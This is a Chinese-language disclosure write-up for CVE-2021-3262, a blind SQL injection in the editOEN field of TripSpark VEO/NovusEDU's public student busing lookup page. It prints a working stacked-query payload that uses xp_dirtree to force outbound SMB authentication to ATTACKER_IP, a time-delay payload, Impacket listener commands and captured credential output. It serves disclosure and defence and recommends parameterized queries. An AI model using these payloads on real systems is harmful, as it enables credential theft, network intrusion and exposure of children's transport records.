TripSpark VEO Transportation / NovusEDU 中的 SQL 注入
随 TripSpark VEO Transportation 一起提供的公开“学生班车信息”查询页面接收未经验证的 POST 正文输入,并将其直接拼接进 SQL Server 查询,既未使用参数化查询,也未进行服务端校验。editOEN 参数(学号字段)可被注入。
该注入为盲注:应用程序不会返回数据库错误,也没有值得读取的差异内容。但它仍然可以通过带外方式完全利用,因为数据库连接可以访问 master.dbo.xp_dirtree,这会强制 SQL Server 服务帐户通过 SMB 向攻击者提供的 UNC 路径发起出站身份验证。
该漏洞在一次外部渗透测试中发现。在最初的测试项目中,捕获到的服务帐户凭据成为立足点,最终导致客户 Active Directory 域和林的完全沦陷。
已发布为 CVE-2021-3262。由 Show Up Show Out Security 的 Sedric Louissaint 发现并报告。
| CVE | CVE-2021-3262 |
| 产品 | TripSpark VEO Transportation / NovusEDU |
| 受影响版本 | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| 弱点 | CWE-89: SQL 注入 |
| CVSS 3.1(NVD) | 9.8 严重 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2(研究人员) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 发布时间 | 2023-08-29 |
| 测试环境 | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| 是否需要身份验证 | 不需要。该查询页面按设计就是面向互联网开放的。 |
NVD 描述:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 允许终端用户在 POST 正文参数中提供不安全的数据输入,而未通过服务端逻辑进行净化。可以将自定义 SQL 命令注入到“学生班车信息”搜索查询中。
各学区在其公共网站上部署“学生班车信息”页面,以便家长查询学生的校车安排。该页面要求学生输入学号 N Number 和出生日期,并且有意设计为无需身份验证即可访问。

学号字段以 editOEN 提交。出生日期以 cboxMonth、cboxDay 和 cboxYear 提交。editOEN 是可注入参数。
与许多同时代的 ASP.NET 应用程序不同,该页面不会回显数据库错误。格式正确的查询与格式错误的查询之间没有可见差异,因此基于响应的内联技术是死路一条。
堆叠查询可以执行,而这正是所需的一切。
master.dbo.xp_dirtree 用于枚举目录。给定一个 UNC 路径,SQL Server 会先通过 SMB 向目标主机进行身份验证,然后读取该路径。将其指向一个监听器,就能将无声的注入变为可见的注入:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

该请求是一个普通的 ASP.NET WebForms POST,大约 4,700 字节,其中大部分是 __VIEWSTATE。完整请求见 poc/exploited-request.http,payload 见 poc/payloads.sql。

使用 Impacket 的 smbserver.py 在公共互联网上的一台主机上监听,学区网络内的数据库服务器会发起出站身份验证:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

有两点值得明确指出。第一,这是一个未经验证的、面向互联网的表单,却能直达生产数据库。第二,该数据库服务器被允许向任意互联网主机发起出站 SMB 连接,这正是盲注变得可观察的原因。
除了注入本身之外,捕获到的 SQL Server 服务帐户 NTLMv2 凭据是最初测试项目中的立足点。从那里开始,评估逐步升级到客户 Active Directory 域和林的完全沦陷。
面临风险的数据是学生交通记录:姓名、家庭住址、分配的校车、分配的站点、接送时间以及特殊教育路线。这是一份关于可识别儿童将在已知时间实际出现在何处的日程表。
针对您拥有或获得授权测试的实验室实例:
sudo smbserver.py c . -smb2support
poc/payloads.sql 中的 xp_dirtree payload,并替换为您自己的 IP。如果该字段存在客户端长度限制,请捕获并重放该 POST,而不是在浏览器中手动输入,因为该限制在服务端并不存在。123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
截图中的客户端标识符已打码。监听器地址来自最初的测试项目,早已失效。复现时请替换为您自己的地址。
editOEN 作为参数绑定,无论其中包含什么内容,payload 都会变成一个惰性字符串。xp_dirtree 及其他扩展存储过程的访问权限。| 日期 | 事件 |
|---|---|
| 2021 | 在一次外部渗透测试中发现并报告给 TripSpark |
| 2023-08-29 | CVE-2021-3262 发布到 NVD,评分为 9.8 严重 |
本文在漏洞公开后发布,用于防御和教育目的。请勿对这些 payload 针对您不拥有或未获得书面授权测试的系统运行。如果您负责管理某个学区的部署,这里最有用的做法是书面询问您的供应商:您公开表单背后的查询是否使用了参数化查询。